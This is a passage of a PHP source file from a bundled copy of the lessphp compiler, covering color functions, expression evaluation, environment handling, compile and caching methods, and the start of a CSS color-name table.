   1009 		$color[4]            = $this->clamp( ( isset( $color[4] ) ? $color[4] : 1 ) + $delta / 100 );
   1010 		return $color;
   1011 	}
   1012 
   1013 	protected function lib_hue( $color ) {
   1014 		$hsl = $this->toHSL( $this->assertColor( $color ) );
   1015 		return round( $hsl[1] );
   1016 	}
   1017 
   1018 	protected function lib_saturation( $color ) {
   1019 		$hsl = $this->toHSL( $this->assertColor( $color ) );
   1020 		return round( $hsl[2] );
   1021 	}
   1022 
   1023 	protected function lib_lightness( $color ) {
   1024 		$hsl = $this->toHSL( $this->assertColor( $color ) );
   1025 		return round( $hsl[3] );
   1026 	}
   1027 
   1028 	// get the alpha of a color
   1029 	// defaults to 1 for non-colors or colors without an alpha
   1030 	protected function lib_alpha( $value ) {
   1031 		if ( ! is_null( $color = $this->coerceColor( $value ) ) ) {
   1032 			return isset( $color[4] ) ? $color[4] : 1;
   1033 		}
   1034 	}
   1035 
   1036 	// set the alpha of the color
   1037 	protected function lib_fade( $args ) {
   1038 		list($color, $alpha) = $this->colorArgs( $args );
   1039 		$color[4]            = $this->clamp( $alpha / 100.0 );
   1040 		return $color;
   1041 	}
   1042 
   1043 	protected function lib_percentage( $arg ) {
   1044 		$num = $this->assertNumber( $arg );
   1045 		return array( 'number', $num * 100, '%' );
   1046 	}
   1047 
   1048 	// mixes two colors by weight
   1049 	// mix(@color1, @color2, @weight);
   1050 	// http://sass-lang.com/docs/yardoc/Sass/Script/Functions.html#mix-instance_method
   1051 	protected function lib_mix( $args ) {
   1052 		if ( $args[0] != 'list' || count( $args[2] ) < 3 ) {
   1053 			$this->throwError( 'mix expects (color1, color2, weight)' );
   1054 		}
   1055 
   1056 		list($first, $second, $weight) = $args[2];
   1057 		$first                         = $this->assertColor( $first );
   1058 		$second                        = $this->assertColor( $second );
   1059 
   1060 		$first_a  = $this->lib_alpha( $first );
   1061 		$second_a = $this->lib_alpha( $second );
   1062 		$weight   = $weight[1] / 100.0;
   1063 
   1064 		$w = $weight * 2 - 1;
   1065 		$a = $first_a - $second_a;
   1066 
   1067 		$w1 = ( ( $w * $a == -1 ? $w : ( $w + $a ) / ( 1 + $w * $a ) ) + 1 ) / 2.0;
   1068 		$w2 = 1.0 - $w1;
   1069 
   1070 		$new = array(
   1071 			'color',
   1072 			$w1 * $first[1] + $w2 * $second[1],
   1073 			$w1 * $first[2] + $w2 * $second[2],
   1074 			$w1 * $first[3] + $w2 * $second[3],
   1075 		);
   1076 
   1077 		if ( $first_a != 1.0 || $second_a != 1.0 ) {
   1078 			$new[] = $first_a * $weight + $second_a * ( $weight - 1 );
   1079 		}
   1080 
   1081 		return $this->fixColor( $new );
   1082 	}
   1083 
   1084 	protected function assertColor( $value, $error = 'expected color value' ) {
   1085 		$color = $this->coerceColor( $value );
   1086 		if ( is_null( $color ) ) {
   1087 			$this->throwError( $error );
   1088 		}
   1089 		return $color;
   1090 	}
   1091 
   1092 	protected function assertNumber( $value, $error = 'expecting number' ) {
   1093 		if ( $value[0] == 'number' ) {
   1094 			return $value[1];
   1095 		}
   1096 		$this->throwError( $error );
   1097 	}
   1098 
   1099 	protected function toHSL( $color ) {
   1100 		if ( $color[0] == 'hsl' ) {
   1101 			return $color;
   1102 		}
   1103 
   1104 		$r = $color[1] / 255;
   1105 		$g = $color[2] / 255;
   1106 		$b = $color[3] / 255;
   1107 
   1108 		$min = min( $r, $g, $b );
   1109 		$max = max( $r, $g, $b );
   1110 
   1111 		$L = ( $min + $max ) / 2;
   1112 		if ( $min == $max ) {
   1113 			$S = $H = 0;
   1114 		} else {
   1115 			if ( $L < 0.5 ) {
   1116 				$S = ( $max - $min ) / ( $max + $min );
   1117 			} else {
   1118 				$S = ( $max - $min ) / ( 2.0 - $max - $min );
   1119 			}
   1120 
   1121 			if ( $r == $max ) {
   1122 				$H = ( $g - $b ) / ( $max - $min );
   1123 			} elseif ( $g == $max ) {
   1124 				$H = 2.0 + ( $b - $r ) / ( $max - $min );
   1125 			} elseif ( $b == $max ) {
   1126 				$H = 4.0 + ( $r - $g ) / ( $max - $min );
   1127 			}
   1128 		}
   1129 
   1130 		$out = array(
   1131 			'hsl',
   1132 			( $H < 0 ? $H + 6 : $H ) * 60,
   1133 			$S * 100,
   1134 			$L * 100,
   1135 		);
   1136 
   1137 		if ( count( $color ) > 4 ) {
   1138 			$out[] = $color[4]; // copy alpha
   1139 		}
   1140 		return $out;
   1141 	}
   1142 
   1143 	protected function toRGB_helper( $comp, $temp1, $temp2 ) {
   1144 		if ( $comp < 0 ) {
   1145 			$comp += 1.0;
   1146 		} elseif ( $comp > 1 ) {
   1147 			$comp -= 1.0;
   1148 		}
   1149 
   1150 		if ( 6 * $comp < 1 ) {
   1151 			return $temp1 + ( $temp2 - $temp1 ) * 6 * $comp;
   1152 		}
   1153 		if ( 2 * $comp < 1 ) {
   1154 			return $temp2;
   1155 		}
   1156 		if ( 3 * $comp < 2 ) {
   1157 			return $temp1 + ( $temp2 - $temp1 ) * ( ( 2 / 3 ) - $comp ) * 6;
   1158 		}
   1159 
   1160 		return $temp1;
   1161 	}
   1162 
   1163 	/**
   1164 	 * Converts a hsl array into a color value in rgb.
   1165 	 * Expects H to be in range of 0 to 360, S and L in 0 to 100
   1166 	 */
   1167 	protected function toRGB( $color ) {
   1168 		if ( $color == 'color' ) {
   1169 			return $color;
   1170 		}
   1171 
   1172 		$H = $color[1] / 360;
   1173 		$S = $color[2] / 100;
   1174 		$L = $color[3] / 100;
   1175 
   1176 		if ( $S == 0 ) {
   1177 			$r = $g = $b = $L;
   1178 		} else {
   1179 			$temp2 = $L < 0.5 ?
   1180 				$L * ( 1.0 + $S ) :
   1181 				$L + $S - $L * $S;
   1182 
   1183 			$temp1 = 2.0 * $L - $temp2;
   1184 
   1185 			$r = $this->toRGB_helper( $H + 1 / 3, $temp1, $temp2 );
   1186 			$g = $this->toRGB_helper( $H, $temp1, $temp2 );
   1187 			$b = $this->toRGB_helper( $H - 1 / 3, $temp1, $temp2 );
   1188 		}
   1189 
   1190 		// $out = array('color', round($r*255), round($g*255), round($b*255));
   1191 		$out = array( 'color', $r * 255, $g * 255, $b * 255 );
   1192 		if ( count( $color ) > 4 ) {
   1193 			$out[] = $color[4]; // copy alpha
   1194 		}
   1195 		return $out;
   1196 	}
   1197 
   1198 	protected function clamp( $v, $max = 1, $min = 0 ) {
   1199 		return min( $max, max( $min, $v ) );
   1200 	}
   1201 
   1202 	/**
   1203 	 * Convert the rgb, rgba, hsl color literals of function type
   1204 	 * as returned by the parser into values of color type.
   1205 	 */
   1206 	protected function funcToColor( $func ) {
   1207 		$fname = $func[1];
   1208 		if ( $func[2][0] != 'list' ) {
   1209 			return false; // need a list of arguments
   1210 		}
   1211 		$rawComponents = $func[2][2];
   1212 
   1213 		if ( $fname == 'hsl' || $fname == 'hsla' ) {
   1214 			$hsl = array( 'hsl' );
   1215 			$i   = 0;
   1216 			foreach ( $rawComponents as $c ) {
   1217 				$val = $this->reduce( $c );
   1218 				$val = isset( $val[1] ) ? floatval( $val[1] ) : 0;
   1219 
   1220 				if ( $i == 0 ) {
   1221 					$clamp = 360;
   1222 				} elseif ( $i < 3 ) {
   1223 					$clamp = 100;
   1224 				} else {
   1225 					$clamp = 1;
   1226 				}
   1227 
   1228 				$hsl[] = $this->clamp( $val, $clamp );
   1229 				$i++;
   1230 			}
   1231 
   1232 			while ( count( $hsl ) < 4 ) {
   1233 				$hsl[] = 0;
   1234 			}
   1235 			return $this->toRGB( $hsl );
   1236 
   1237 		} elseif ( $fname == 'rgb' || $fname == 'rgba' ) {
   1238 			$components = array();
   1239 			$i          = 1;
   1240 			foreach ( $rawComponents as $c ) {
   1241 				$c = $this->reduce( $c );
   1242 				if ( $i < 4 ) {
   1243 					if ( $c[0] == 'number' && $c[2] == '%' ) {
   1244 						$components[] = 255 * ( $c[1] / 100 );
   1245 					} else {
   1246 						$components[] = floatval( $c[1] );
   1247 					}
   1248 				} elseif ( $i == 4 ) {
   1249 					if ( $c[0] == 'number' && $c[2] == '%' ) {
   1250 						$components[] = 1.0 * ( $c[1] / 100 );
   1251 					} else {
   1252 						$components[] = floatval( $c[1] );
   1253 					}
   1254 				} else {
   1255 					break;
   1256 				}
   1257 
   1258 				$i++;
   1259 			}
   1260 			while ( count( $components ) < 3 ) {
   1261 				$components[] = 0;
   1262 			}
   1263 			array_unshift( $components, 'color' );
   1264 			return $this->fixColor( $components );
   1265 		}
   1266 
   1267 		return false;
   1268 	}
   1269 
   1270 	protected function reduce( $value, $forExpression = false ) {
   1271 		switch ( $value[0] ) {
   1272 			case 'variable':
   1273 				$key = $value[1];
   1274 				if ( is_array( $key ) ) {
   1275 					$key = $this->reduce( $key );
   1276 					$key = $this->vPrefix . $this->compileValue( $this->lib_e( $key ) );
   1277 				}
   1278 
   1279 				$seen =& $this->env->seenNames;
   1280 
   1281 				if ( ! empty( $seen[ $key ] ) ) {
   1282 					$this->throwError( "infinite loop detected: $key" );
   1283 				}
   1284 
   1285 				$seen[ $key ] = true;
   1286 				$out          = $this->reduce( $this->get( $key, self::$defaultValue ) );
   1287 				$seen[ $key ] = false;
   1288 				return $out;
   1289 			case 'list':
   1290 				foreach ( $value[2] as &$item ) {
   1291 					$item = $this->reduce( $item, $forExpression );
   1292 				}
   1293 				return $value;
   1294 			case 'expression':
   1295 				return $this->evaluate( $value );
   1296 			case 'string':
   1297 				foreach ( $value[2] as &$part ) {
   1298 					if ( is_array( $part ) ) {
   1299 						$strip = $part[0] == 'variable';
   1300 						$part  = $this->reduce( $part );
   1301 						if ( $strip ) {
   1302 							$part = $this->lib_e( $part );
   1303 						}
   1304 					}
   1305 				}
   1306 				return $value;
   1307 			case 'escape':
   1308 				list(,$inner) = $value;
   1309 				return $this->lib_e( $this->reduce( $inner ) );
   1310 			case 'function':
   1311 				$color = $this->funcToColor( $value );
   1312 				if ( $color ) {
   1313 					return $color;
   1314 				}
   1315 
   1316 				list(, $name, $args) = $value;
   1317 				if ( $name == '%' ) {
   1318 					$name = '_sprintf';
   1319 				}
   1320 				$f = isset( $this->libFunctions[ $name ] ) ?
   1321 				$this->libFunctions[ $name ] : array( $this, 'lib_' . $name );
   1322 
   1323 				if ( is_callable( $f ) ) {
   1324 					if ( $args[0] == 'list' ) {
   1325 						$args = self::compressList( $args[2], $args[1] );
   1326 					}
   1327 
   1328 					$ret = call_user_func( $f, $this->reduce( $args, true ), $this );
   1329 
   1330 					if ( is_null( $ret ) ) {
   1331 						return array(
   1332 							'string',
   1333 							'',
   1334 							array(
   1335 								$name,
   1336 								'(',
   1337 								$args,
   1338 								')',
   1339 							),
   1340 						);
   1341 					}
   1342 
   1343 					// convert to a typed value if the result is a php primitive
   1344 					if ( is_numeric( $ret ) ) {
   1345 						$ret = array( 'number', $ret, '' );
   1346 					} elseif ( ! is_array( $ret ) ) {
   1347 						$ret = array( 'keyword', $ret );
   1348 					}
   1349 
   1350 					return $ret;
   1351 				}
   1352 
   1353 				// plain function, reduce args
   1354 				$value[2] = $this->reduce( $value[2] );
   1355 				return $value;
   1356 			case 'unary':
   1357 				list(, $op, $exp) = $value;
   1358 				$exp              = $this->reduce( $exp );
   1359 
   1360 				if ( $exp[0] == 'number' ) {
   1361 					switch ( $op ) {
   1362 						case '+':
   1363 							return $exp;
   1364 						case '-':
   1365 							$exp[1] *= -1;
   1366 							return $exp;
   1367 					}
   1368 				}
   1369 				return array( 'string', '', array( $op, $exp ) );
   1370 		}
   1371 
   1372 		if ( $forExpression ) {
   1373 			switch ( $value[0] ) {
   1374 				case 'keyword':
   1375 					if ( $color = $this->coerceColor( $value ) ) {
   1376 						return $color;
   1377 					}
   1378 					break;
   1379 				case 'raw_color':
   1380 					return $this->coerceColor( $value );
   1381 			}
   1382 		}
   1383 
   1384 		return $value;
   1385 	}
   1386 
   1387 
   1388 	// coerce a value for use in color operation
   1389 	protected function coerceColor( $value ) {
   1390 		switch ( $value[0] ) {
   1391 			case 'color':
   1392 				return $value;
   1393 			case 'raw_color':
   1394 				$c        = array( 'color', 0, 0, 0 );
   1395 				$colorStr = substr( $value[1], 1 );
   1396 				$num      = hexdec( $colorStr );
   1397 				$width    = strlen( $colorStr ) == 3 ? 16 : 256;
   1398 
   1399 				for ( $i = 3; $i > 0; $i-- ) { // 3 2 1
   1400 					$t    = $num % $width;
   1401 					$num /= $width;
   1402 
   1403 					$c[ $i ] = $t * ( 256 / $width ) + $t * floor( 16 / $width );
   1404 				}
   1405 
   1406 				return $c;
   1407 			case 'keyword':
   1408 				$name = $value[1];
   1409 				if ( isset( self::$cssColors[ $name ] ) ) {
   1410 					list($r, $g, $b) = explode( ',', self::$cssColors[ $name ] );
   1411 					return array( 'color', $r, $g, $b );
   1412 				}
   1413 				return null;
   1414 		}
   1415 	}
   1416 
   1417 	// make something string like into a string
   1418 	protected function coerceString( $value ) {
   1419 		switch ( $value[0] ) {
   1420 			case 'string':
   1421 				return $value;
   1422 			case 'keyword':
   1423 				return array( 'string', '', array( $value[1] ) );
   1424 		}
   1425 		return null;
   1426 	}
   1427 
   1428 	// turn list of length 1 into value type
   1429 	protected function flattenList( $value ) {
   1430 		if ( $value[0] == 'list' && count( $value[2] ) == 1 ) {
   1431 			return $this->flattenList( $value[2][0] );
   1432 		}
   1433 		return $value;
   1434 	}
   1435 
   1436 	protected function toBool( $a ) {
   1437 		if ( $a ) {
   1438 			return self::$TRUE;
   1439 		} else {
   1440 			return self::$FALSE;
   1441 		}
   1442 	}
   1443 
   1444 	// evaluate an expression
   1445 	protected function evaluate( $exp ) {
   1446 		list(, $op, $left, $right, $whiteBefore, $whiteAfter) = $exp;
   1447 
   1448 		$left  = $this->reduce( $left, true );
   1449 		$right = $this->reduce( $right, true );
   1450 
   1451 		if ( $leftColor = $this->coerceColor( $left ) ) {
   1452 			$left = $leftColor;
   1453 		}
   1454 
   1455 		if ( $rightColor = $this->coerceColor( $right ) ) {
   1456 			$right = $rightColor;
   1457 		}
   1458 
   1459 		$ltype = $left[0];
   1460 		$rtype = $right[0];
   1461 
   1462 		// operators that work on all types
   1463 		if ( $op == 'and' ) {
   1464 			return $this->toBool( $left == self::$TRUE && $right == self::$TRUE );
   1465 		}
   1466 
   1467 		if ( $op == '=' ) {
   1468 			return $this->toBool( $this->eq( $left, $right ) );
   1469 		}
   1470 
   1471 		if ( $op == '+' && ! is_null( $str = $this->stringConcatenate( $left, $right ) ) ) {
   1472 			return $str;
   1473 		}
   1474 
   1475 		// type based operators
   1476 		$fname = "op_${ltype}_${rtype}";
   1477 		if ( is_callable( array( $this, $fname ) ) ) {
   1478 			$out = $this->$fname( $op, $left, $right );
   1479 			if ( ! is_null( $out ) ) {
   1480 				return $out;
   1481 			}
   1482 		}
   1483 
   1484 		// make the expression look it did before being parsed
   1485 		$paddedOp = $op;
   1486 		if ( $whiteBefore ) {
   1487 			$paddedOp = ' ' . $paddedOp;
   1488 		}
   1489 		if ( $whiteAfter ) {
   1490 			$paddedOp .= ' ';
   1491 		}
   1492 
   1493 		return array( 'string', '', array( $left, $paddedOp, $right ) );
   1494 	}
   1495 
   1496 	protected function stringConcatenate( $left, $right ) {
   1497 		if ( $strLeft = $this->coerceString( $left ) ) {
   1498 			if ( $right[0] == 'string' ) {
   1499 				$right[1] = '';
   1500 			}
   1501 			$strLeft[2][] = $right;
   1502 			return $strLeft;
   1503 		}
   1504 
   1505 		if ( $strRight = $this->coerceString( $right ) ) {
   1506 			array_unshift( $strRight[2], $left );
   1507 			return $strRight;
   1508 		}
   1509 	}
   1510 
   1511 
   1512 	// make sure a color's components don't go out of bounds
   1513 	protected function fixColor( $c ) {
   1514 		foreach ( range( 1, 3 ) as $i ) {
   1515 			if ( $c[ $i ] < 0 ) {
   1516 				$c[ $i ] = 0;
   1517 			}
   1518 			if ( $c[ $i ] > 255 ) {
   1519 				$c[ $i ] = 255;
   1520 			}
   1521 		}
   1522 
   1523 		return $c;
   1524 	}
   1525 
   1526 	protected function op_number_color( $op, $lft, $rgt ) {
   1527 		if ( $op == '+' || $op == '*' ) {
   1528 			return $this->op_color_number( $op, $rgt, $lft );
   1529 		}
   1530 	}
   1531 
   1532 	protected function op_color_number( $op, $lft, $rgt ) {
   1533 		if ( $rgt[0] == '%' ) {
   1534 			$rgt[1] /= 100;
   1535 		}
   1536 
   1537 		return $this->op_color_color(
   1538 			$op,
   1539 			$lft,
   1540 			array_fill( 1, count( $lft ) - 1, $rgt[1] )
   1541 		);
   1542 	}
   1543 
   1544 	protected function op_color_color( $op, $left, $right ) {
   1545 		$out = array( 'color' );
   1546 		$max = count( $left ) > count( $right ) ? count( $left ) : count( $right );
   1547 		foreach ( range( 1, $max - 1 ) as $i ) {
   1548 			$lval = isset( $left[ $i ] ) ? $left[ $i ] : 0;
   1549 			$rval = isset( $right[ $i ] ) ? $right[ $i ] : 0;
   1550 			switch ( $op ) {
   1551 				case '+':
   1552 					$out[] = $lval + $rval;
   1553 					break;
   1554 				case '-':
   1555 					$out[] = $lval - $rval;
   1556 					break;
   1557 				case '*':
   1558 					$out[] = $lval * $rval;
   1559 					break;
   1560 				case '%':
   1561 					$out[] = $lval % $rval;
   1562 					break;
   1563 				case '/':
   1564 					if ( $rval == 0 ) {
   1565 						$this->throwError( "evaluate error: can't divide by zero" );
   1566 					}
   1567 					$out[] = $lval / $rval;
   1568 					break;
   1569 				default:
   1570 					$this->throwError( 'evaluate error: color op number failed on op ' . $op );
   1571 			}
   1572 		}
   1573 		return $this->fixColor( $out );
   1574 	}
   1575 
   1576 	// operator on two numbers
   1577 	protected function op_number_number( $op, $left, $right ) {
   1578 		$unit = empty( $left[2] ) ? $right[2] : $left[2];
   1579 
   1580 		$value = 0;
   1581 		switch ( $op ) {
   1582 			case '+':
   1583 				$value = $left[1] + $right[1];
   1584 				break;
   1585 			case '*':
   1586 				$value = $left[1] * $right[1];
   1587 				break;
   1588 			case '-':
   1589 				$value = $left[1] - $right[1];
   1590 				break;
   1591 			case '%':
   1592 				$value = $left[1] % $right[1];
   1593 				break;
   1594 			case '/':
   1595 				if ( $right[1] == 0 ) {
   1596 					$this->throwError( 'parse error: divide by zero' );
   1597 				}
   1598 				$value = $left[1] / $right[1];
   1599 				break;
   1600 			case '<':
   1601 				return $this->toBool( $left[1] < $right[1] );
   1602 			case '>':
   1603 				return $this->toBool( $left[1] > $right[1] );
   1604 			case '>=':
   1605 				return $this->toBool( $left[1] >= $right[1] );
   1606 			case '=<':
   1607 				return $this->toBool( $left[1] <= $right[1] );
   1608 			default:
   1609 				$this->throwError( 'parse error: unknown number operator: ' . $op );
   1610 		}
   1611 
   1612 		return array( 'number', $value, $unit );
   1613 	}
   1614 
   1615 
   1616 	/* environment functions */
   1617 
   1618 	protected function makeOutputBlock( $type, $selectors = null ) {
   1619 		$b            = new stdclass();
   1620 		$b->lines     = array();
   1621 		$b->children  = array();
   1622 		$b->selectors = $selectors;
   1623 		$b->type      = $type;
   1624 		$b->parent    = $this->scope;
   1625 		return $b;
   1626 	}
   1627 
   1628 	// the state of execution
   1629 	protected function pushEnv( $block = null ) {
   1630 		$e         = new stdclass();
   1631 		$e->parent = $this->env;
   1632 		$e->store  = array();
   1633 		$e->block  = $block;
   1634 
   1635 		$this->env = $e;
   1636 		return $e;
   1637 	}
   1638 
   1639 	// pop something off the stack
   1640 	protected function popEnv() {
   1641 		$old       = $this->env;
   1642 		$this->env = $this->env->parent;
   1643 		return $old;
   1644 	}
   1645 
   1646 	// set something in the current env
   1647 	protected function set( $name, $value ) {
   1648 		$this->env->store[ $name ] = $value;
   1649 	}
   1650 
   1651 
   1652 	// get the highest occurrence entry for a name
   1653 	protected function get( $name, $default = null ) {
   1654 		$current = $this->env;
   1655 
   1656 		$isArguments = $name == $this->vPrefix . 'arguments';
   1657 		while ( $current ) {
   1658 			if ( $isArguments && isset( $current->arguments ) ) {
   1659 				return array( 'list', ' ', $current->arguments );
   1660 			}
   1661 
   1662 			if ( isset( $current->store[ $name ] ) ) {
   1663 				return $current->store[ $name ];
   1664 			} else {
   1665 				$current = isset( $current->storeParent ) ?
   1666 					$current->storeParent : $current->parent;
   1667 			}
   1668 		}
   1669 
   1670 		return $default;
   1671 	}
   1672 
   1673 	// inject array of unparsed strings into environment as variables
   1674 	protected function injectVariables( $args ) {
   1675 		$this->pushEnv();
   1676 		$parser = new seedprod_lessc_parser( $this, __METHOD__ );
   1677 		foreach ( $args as $name => $strValue ) {
   1678 			if ( $name[0] != '@' ) {
   1679 				$name = '@' . $name;
   1680 			}
   1681 			$parser->count  = 0;
   1682 			$parser->buffer = (string) $strValue;
   1683 			if ( ! $parser->propertyValue( $value ) ) {
   1684 				throw new Exception( "failed to parse passed in variable $name: $strValue" );
   1685 			}
   1686 
   1687 			$this->set( $name, $value );
   1688 		}
   1689 	}
   1690 
   1691 	/**
   1692 	 * Initialize any static state, can initialize parser for a file
   1693 	 * $opts isn't used yet
   1694 	 */
   1695 	public function __construct( $fname = null ) {
   1696 		if ( $fname !== null ) {
   1697 			// used for deprecated parse method
   1698 			$this->_parseFile = $fname;
   1699 		}
   1700 	}
   1701 
   1702 	public function compile( $string, $name = null ) {
   1703 		$locale = setlocale( LC_NUMERIC, 0 );
   1704 		setlocale( LC_NUMERIC, 'C' );
   1705 
   1706 		$this->parser = $this->makeParser( $name );
   1707 		$root         = $this->parser->parse( $string );
   1708 
   1709 		$this->env   = null;
   1710 		$this->scope = null;
   1711 
   1712 		$this->formatter = $this->newFormatter();
   1713 
   1714 		if ( ! empty( $this->registeredVars ) ) {
   1715 			$this->injectVariables( $this->registeredVars );
   1716 		}
   1717 
   1718 		$this->sourceParser = $this->parser; // used for error messages
   1719 		$this->compileBlock( $root );
   1720 
   1721 		ob_start();
   1722 		$this->formatter->block( $this->scope );
   1723 		$out = ob_get_clean();
   1724 		setlocale( LC_NUMERIC, $locale );
   1725 		return $out;
   1726 	}
   1727 
   1728 	public function compileFile( $fname, $outFname = null ) {
   1729 		if ( ! is_readable( $fname ) ) {
   1730 			throw new Exception( 'load error: failed to find ' . $fname );
   1731 		}
   1732 
   1733 		$pi = pathinfo( $fname );
   1734 
   1735 		$oldImport = $this->importDir;
   1736 
   1737 		$this->importDir   = (array) $this->importDir;
   1738 		$this->importDir[] = $pi['dirname'] . '/';
   1739 
   1740 		$this->allParsedFiles = array();
   1741 		$this->addParsedFile( $fname );
   1742 
   1743 		$out = $this->compile( file_get_contents( $fname ), $fname );
   1744 
   1745 		$this->importDir = $oldImport;
   1746 
   1747 		if ( $outFname !== null ) {
   1748 			return file_put_contents( $outFname, $out );
   1749 		}
   1750 
   1751 		return $out;
   1752 	}
   1753 
   1754 	// compile only if changed input has changed or output doesn't exist
   1755 	public function checkedCompile( $in, $out ) {
   1756 		if ( ! is_file( $out ) || filemtime( $in ) > filemtime( $out ) ) {
   1757 			$this->compileFile( $in, $out );
   1758 			return true;
   1759 		}
   1760 		return false;
   1761 	}
   1762 
   1763 	/**
   1764 	 * Execute lessphp on a .less file or a lessphp cache structure
   1765 	 *
   1766 	 * The lessphp cache structure contains information about a specific
   1767 	 * less file having been parsed. It can be used as a hint for future
   1768 	 * calls to determine whether or not a rebuild is required.
   1769 	 *
   1770 	 * The cache structure contains two important keys that may be used
   1771 	 * externally:
   1772 	 *
   1773 	 * compiled: The final compiled CSS
   1774 	 * updated: The time (in seconds) the CSS was last compiled
   1775 	 *
   1776 	 * The cache structure is a plain-ol' PHP associative array and can
   1777 	 * be serialized and unserialized without a hitch.
   1778 	 *
   1779 	 * @param mixed $in Input
   1780 	 * @param bool $force Force rebuild?
   1781 	 * @return array lessphp cache structure
   1782 	 */
   1783 	public function cachedCompile( $in, $force = false ) {
   1784 		// assume no root
   1785 		$root = null;
   1786 
   1787 		if ( is_string( $in ) ) {
   1788 			$root = $in;
   1789 		} elseif ( is_array( $in ) and isset( $in['root'] ) ) {
   1790 			if ( $force or ! isset( $in['files'] ) ) {
   1791 				// If we are forcing a recompile or if for some reason the
   1792 				// structure does not contain any file information we should
   1793 				// specify the root to trigger a rebuild.
   1794 				$root = $in['root'];
   1795 			} elseif ( isset( $in['files'] ) and is_array( $in['files'] ) ) {
   1796 				foreach ( $in['files'] as $fname => $ftime ) {
   1797 					if ( ! file_exists( $fname ) or filemtime( $fname ) > $ftime ) {
   1798 						// One of the files we knew about previously has changed
   1799 						// so we should look at our incoming root again.
   1800 						$root = $in['root'];
   1801 						break;
   1802 					}
   1803 				}
   1804 			}
   1805 		} else {
   1806 			// TODO: Throw an exception? We got neither a string nor something
   1807 			// that looks like a compatible lessphp cache structure.
   1808 			return null;
   1809 		}
   1810 
   1811 		if ( $root !== null ) {
   1812 			// If we have a root value which means we should rebuild.
   1813 			$out             = array();
   1814 			$out['root']     = $root;
   1815 			$out['compiled'] = $this->compileFile( $root );
   1816 			$out['files']    = $this->allParsedFiles();
   1817 			$out['updated']  = time();
   1818 			return $out;
   1819 		} else {
   1820 			// No changes, pass back the structure
   1821 			// we were given initially.
   1822 			return $in;
   1823 		}
   1824 
   1825 	}
   1826 
   1827 	// parse and compile buffer
   1828 	// This is deprecated
   1829 	public function parse( $str = null, $initialVariables = null ) {
   1830 		if ( is_array( $str ) ) {
   1831 			$initialVariables = $str;
   1832 			$str              = null;
   1833 		}
   1834 
   1835 		$oldVars = $this->registeredVars;
   1836 		if ( $initialVariables !== null ) {
   1837 			$this->setVariables( $initialVariables );
   1838 		}
   1839 
   1840 		if ( $str == null ) {
   1841 			if ( empty( $this->_parseFile ) ) {
   1842 				throw new exception( 'nothing to parse' );
   1843 			}
   1844 
   1845 			$out = $this->compileFile( $this->_parseFile );
   1846 		} else {
   1847 			$out = $this->compile( $str );
   1848 		}
   1849 
   1850 		$this->registeredVars = $oldVars;
   1851 		return $out;
   1852 	}
   1853 
   1854 	protected function makeParser( $name ) {
   1855 		$parser                = new seedprod_lessc_parser( $this, $name );
   1856 		$parser->writeComments = $this->preserveComments;
   1857 
   1858 		return $parser;
   1859 	}
   1860 
   1861 	public function setFormatter( $name ) {
   1862 		$this->formatterName = $name;
   1863 	}
   1864 
   1865 	protected function newFormatter() {
   1866 		$className = 'seedprod_lessc_formatter_lessjs';
   1867 		if ( ! empty( $this->formatterName ) ) {
   1868 			if ( ! is_string( $this->formatterName ) ) {
   1869 				return $this->formatterName;
   1870 			}
   1871 			$className = "seedprod_lessc_formatter_$this->formatterName";
   1872 		}
   1873 
   1874 		return new $className();
   1875 	}
   1876 
   1877 	public function setPreserveComments( $preserve ) {
   1878 		$this->preserveComments = $preserve;
   1879 	}
   1880 
   1881 	public function registerFunction( $name, $func ) {
   1882 		$this->libFunctions[ $name ] = $func;
   1883 	}
   1884 
   1885 	public function unregisterFunction( $name ) {
   1886 		unset( $this->libFunctions[ $name ] );
   1887 	}
   1888 
   1889 	public function setVariables( $variables ) {
   1890 		$this->registeredVars = array_merge( $this->registeredVars, $variables );
   1891 	}
   1892 
   1893 	public function unsetVariable( $name ) {
   1894 		unset( $this->registeredVars[ $name ] );
   1895 	}
   1896 
   1897 	public function setImportDir( $dirs ) {
   1898 		$this->importDir = (array) $dirs;
   1899 	}
   1900 
   1901 	public function addImportDir( $dir ) {
   1902 		$this->importDir   = (array) $this->importDir;
   1903 		$this->importDir[] = $dir;
   1904 	}
   1905 
   1906 	public function allParsedFiles() {
   1907 		return $this->allParsedFiles;
   1908 	}
   1909 
   1910 	protected function addParsedFile( $file ) {
   1911 		$this->allParsedFiles[ realpath( $file ) ] = filemtime( $file );
   1912 	}
   1913 
   1914 	/**
   1915 	 * Uses the current value of $this->count to show line and line number
   1916 	 */
   1917 	protected function throwError( $msg = null ) {
   1918 		if ( $this->sourceLoc >= 0 ) {
   1919 			$this->sourceParser->throwError( $msg, $this->sourceLoc );
   1920 		}
   1921 		throw new exception( $msg );
   1922 	}
   1923 
   1924 	// compile file $in to file $out if $in is newer than $out
   1925 	// returns true when it compiles, false otherwise
   1926 	public static function ccompile( $in, $out, $less = null ) {
   1927 		if ( $less === null ) {
   1928 			$less = new self();
   1929 		}
   1930 		return $less->checkedCompile( $in, $out );
   1931 	}
   1932 
   1933 	public static function cexecute( $in, $force = false, $less = null ) {
   1934 		if ( $less === null ) {
   1935 			$less = new self();
   1936 		}
   1937 		return $less->cachedCompile( $in, $force );
   1938 	}
   1939 
   1940 	protected static $cssColors = array(
   1941 		'aliceblue'            => '240,248,255',
   1942 		'antiquewhite'         => '250,235,215',
   1943 		'aqua'                 => '0,255,255',
   1944 		'aquamarine'           => '127,255,212',
   1945 		'azure'                => '240,255,255',
   1946 		'beige'                => '245,245,220',
   1947 		'bisque'               => '255,228,196',
   1948 		'black'                => '0,0,0',
   1949 		'blanchedalmond'       => '255,235,205',
   1950 		'blue'                 => '0,0,255',
   1951 		'blueviolet'           => '138,43,226',
   1952 		'brown'                => '165,42,42',
   1953 		'burlywood'            => '222,184,135',
   1954 		'cadetblue'            => '95,158,160',
   1955 		'chartreuse'           => '127,255,0',
   1956 		'chocolate'            => '210,105,30',
   1957 		'coral'                => '255,127,80',
   1958 		'cornflowerblue'       => '100,149,237',
   1959 		'cornsilk'             => '255,248,220',
   1960 		'crimson'              => '220,20,60',
   1961 		'cyan'                 => '0,255,255',
   1962 		'darkblue'             => '0,0,139',
   1963 		'darkcyan'             => '0,139,139',
   1964 		'darkgoldenrod'        => '184,134,11',
   1965 		'darkgray'             => '169,169,169',
   1966 		'darkgreen'            => '0,100,0',
   1967 		'darkgrey'             => '169,169,169',
   1968 		'darkkhaki'            => '189,183,107',
   1969 		'darkmagenta'          => '139,0,139',
   1970 		'darkolivegreen'       => '85,107,47',
   1971 		'darkorange'           => '255,140,0',
   1972 		'darkorchid'           => '153,50,204',
   1973 		'darkred'              => '139,0,0',
